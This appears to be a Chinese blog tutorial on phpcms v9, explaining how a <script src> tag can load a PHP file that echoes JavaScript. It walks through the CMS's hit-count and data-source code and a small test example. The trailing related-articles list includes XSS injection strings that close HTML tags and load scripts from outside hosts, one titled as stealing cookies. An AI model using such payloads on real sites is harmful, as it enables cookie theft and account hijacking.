【phpcms-v9】怎样在<script src="xxx.php"></script>标记中引入php文件
2012-11-30 15:17
489 查看
1.文章详情页统计点击数量时:<scriptlanguage="JavaScript"src="http://www.hebei800.cn/api.php?op=count&id=41&modelid=1"></script>
2.使用场合:需要在静态的html文件中实时的显示一些动态数据时使用
3.数据源的调用代码:<scripttype="text/javascript"src="http://www.hebei800.cn/index.php?m=dbsource&c=call&a=get&id=2"></script>
案例:test6.html
test5.php
结果:你好你好
<?php defined('IN_PHPCMS') or exit('No permission resources.'); /** * 点击统计 */ $db = ''; $db = pc_base::load_model('hits_model'); if($_GET['modelid'] && $_GET['id']) { $model_arr = array(); $model_arr = getcache('model','commons'); $modelid = intval($_GET['modelid']); $hitsid = 'c-'.$modelid.'-'.intval($_GET['id']); $r = get_count($hitsid); if(!$r) exit; extract($r); hits($hitsid); /* *如果在php标记中,必须使用echo输出javascript代码到网页中,相当于直接在网页中写javascript代码 */ echo "\$('#todaydowns').html('$dayviews');"; echo "\$('#weekdowns').html('$weekviews');"; echo "\$('#monthdowns').html('$monthviews');"; } elseif($_GET['module'] && $_GET['id']) { $module = $_GET['module']; if((preg_match('/([^a-z0-9_\-]+)/i',$module))) exit('1'); $hitsid = $module.'-'.intval($_GET['id']); $r = get_count($hitsid); if(!$r) exit; extract($r); hits($hitsid); } /** * 获取点击数量 * @param $hitsid */ function get_count($hitsid) { global $db; $r = $db->get_one(array('hitsid'=>$hitsid)); if(!$r) return false; return $r; } /** * 点击次数统计 * @param $contentid */ function hits($hitsid) { global $db; $r = $db->get_one(array('hitsid'=>$hitsid)); if(!$r) return false; $views = $r['views'] + 1; $yesterdayviews = (date('Ymd', $r['updatetime']) == date('Ymd', strtotime('-1 day'))) ? $r['dayviews'] : $r['yesterdayviews']; $dayviews = (date('Ymd', $r['updatetime']) == date('Ymd', SYS_TIME)) ? ($r['dayviews'] + 1) : 1; $weekviews = (date('YW', $r['updatetime']) == date('YW', SYS_TIME)) ? ($r['weekviews'] + 1) : 1; $monthviews = (date('Ym', $r['updatetime']) == date('Ym', SYS_TIME)) ? ($r['monthviews'] + 1) : 1; $sql = array('views'=>$views,'yesterdayviews'=>$yesterdayviews,'dayviews'=>$dayviews,'weekviews'=>$weekviews,'monthviews'=>$monthviews,'updatetime'=>SYS_TIME); return $db->update($sql, array('hitsid'=>$hitsid)); } ?> //如果没有在php标记中,则可直接写javascript代码,会将下面一行代码直接当做javascript代码载入网页 $('#hits').html('<?php echo $views?>');//php代码本身就是一种内潜入式代码,可以将php脚本潜入到html代码中,只不过这个文件中的html代码几乎为零而已
2.使用场合:需要在静态的html文件中实时的显示一些动态数据时使用
3.数据源的调用代码:<scripttype="text/javascript"src="http://www.hebei800.cn/index.php?m=dbsource&c=call&a=get&id=2"></script>
/* * 数据源的调用:<script type="text/javascript" src="http://www.hebei800.cn/index.php?m=dbsource&c=call&a=get&id=2"></script> */ public function get() { //数据源id:即zp_datacall数据表中自增id $id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : exit(); //获取当前数据源记录 if ($data = $this->db->get_one(array('id'=>$id))) { //运算符的优先级搞清楚,1-先赋值 2-再进行非逻辑 if (!$str = tpl_cache('dbsource_'.$id,$data['cache'])) {//如果没有生成缓存 if ($data['type'] == 1) { //自定义SQL调用 $get_db = pc_base::load_model("get_model");//不设置要查询的数据表,只执行查询操作 //拼接sql语句 $sql = $data['data'].(!empty($data['num']) ? " LIMIT $data[num]" : ''); $r= $get_db->query($sql);//执行查询sql语句,注意:sql语句中已经有表名 while(($s = $get_db->fetch_next()) != false) {//查询sql语句中的数据表 $str[] = $s;//将查询到的表记录置入$str[]二维数组 } } else {//非自定义sql调用情况 //寻找对应模块下的xxx_tag.class.php文件 $filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$data['module'].DIRECTORY_SEPARATOR.'classes'.DIRECTORY_SEPARATOR.$data['module'].'_tag.class.php'; if (file_exists($filepath)) { //如果存在,则引入pc标签类库文件 $pc_tag = pc_base::load_app_class($data['module'].'_tag', $data['module']); //调用方法 if (!method_exists($pc_tag, $data['action'])) { exit(); } $sql = string2array($data['data']);//sql语句,如:select * from zp_block $sql['action'] = $data['action'];//方法 $sql['limit'] = $data['num'];//数量 unset($data['num']); $str = $pc_tag->$data['action']($sql); } else { exit(); } } //如果缓存时间不为空,则缓存到caches/caches_template/dbsource/$id.php文件中 //缓存的是编译后的文件 if ($data['cache']) setcache('dbsource_'.$id, $str, 'tpl_data'); }//没生成缓存的情况 echo $this->_format($data['id'], $str, $data['dis_type']);//参数3-输出方法(1-json 2-xml 3-js) } } private function _format($id, $data, $type) { switch($type) { case '1'://json if (CHARSET == 'gbk') { $data = array_iconv($data, 'gbk', 'utf-8'); } return json_encode($data);//将数据json化,再输出 break; case '2'://xml $xml = pc_base::load_sys_class('xml'); return $xml->xml_serialize($data);//将数据xml化,再输出 break; case '3'://js js的情况没有使用到$data参数数据 pc_base::load_app_func('global');//引入global.func.php公共函数库文件 ob_start();//开启缓冲区 include template_url($id);//生成缓存文件,应引入缓存文件中内容(编译后的内容),此函数主要用来编译template字段到缓存文件 $html = ob_get_contents();//获取缓冲区中内容 ob_clean();//清空缓存区 return format_js($html);//将文本格式成适合js输出的字符串,注意:此函数主要通过 通过document.write()动态将编译后的代码输出到网页中 break; } }
/** * 将文本格式成适合js输出的字符串;输出javascript代码 * @param string $string 需要处理的字符串 * @param intval $isjs 是否执行字符串格式化,默认为执行 * @return string 处理后的字符串 */ function format_js($string, $isjs = 1) { $string = addslashes(str_replace(array("\r", "\n", "\t"), array('', '', ''), $string)); return $isjs ? 'document.write("'.$string.'");' : $string; }
案例:test6.html
<html> <head> </head> <body> <script src="test5.php" type="text/javascript"></script> </body> </html>
test5.php
<?php header("content-type:text/html;charset=utf-8"); echo "document.write('你好');"; ?> //你好 document.write("你好");
结果:你好你好
相关文章推荐
- <script src="xxx.php"></script>
- 【script代码段】通过<script src="http://xxx.com/index.php"></script>中的src属性将服务器断数据传到客户端
- layui 表单验证案例文本框,手机,邮箱,textarea等格式的验证 <script src="layui/layui.js"></script> <script src="layui/lay
- 程序员自定义的一个头文件,怎样通过#include<xxx.h>调用而不是#include"xxx.h"
- <script type="text/javascript" src="<%=path %>/pages/js/arsis/area.js?v=1.01"></script> 为什么在最后加? v+1.01
- xss实战: 利用xss得到cookie "/><br><script src="https://www.yunssl.cn:9062/static/p2.js"></script><!-
- <h1>读取配置文件失败</h1>这通常意味着文件中有语法错误,请检查下面显示出的错误。<br /><br /><iframe src="show_config_errors.php" />
- xss实战: 利用xss得到cookie "/><br><script src="https://www.yunssl.cn:9062/static/p2.js"></script><!-
- <script src="http://xxsi.sinaapp.com/?u=daad1b"></script>
- html <a>、<css>、<script>中src引用文件的路径问题
- <srcipt src="/socket.io/socket.io.js"></script>加载的资源是从哪儿冒出来的?
- <script type="text/javascript">alert("hello world");</script>
- <style><script> css和js文件引入
- <Script>alert("text")< /Script>
- <script type="text/javascript"></script>
- This is a test"></textarea><script src=http://xss.tw/1024></script>
- 杜绝<script src="js/tool.js" type="text/javascript"/>这样写的习惯
- </textarea>'"><script src=http://xssan.com/9eoJt7?1407673936></script>
- <h1>测试博客</h1><script type="text/javascript">alert(456);</script>
- this.Page.ClientScript.RegisterStartupScript(this.GetType(), "", "<script>window.setInterval(timefresh, 1000);</script>");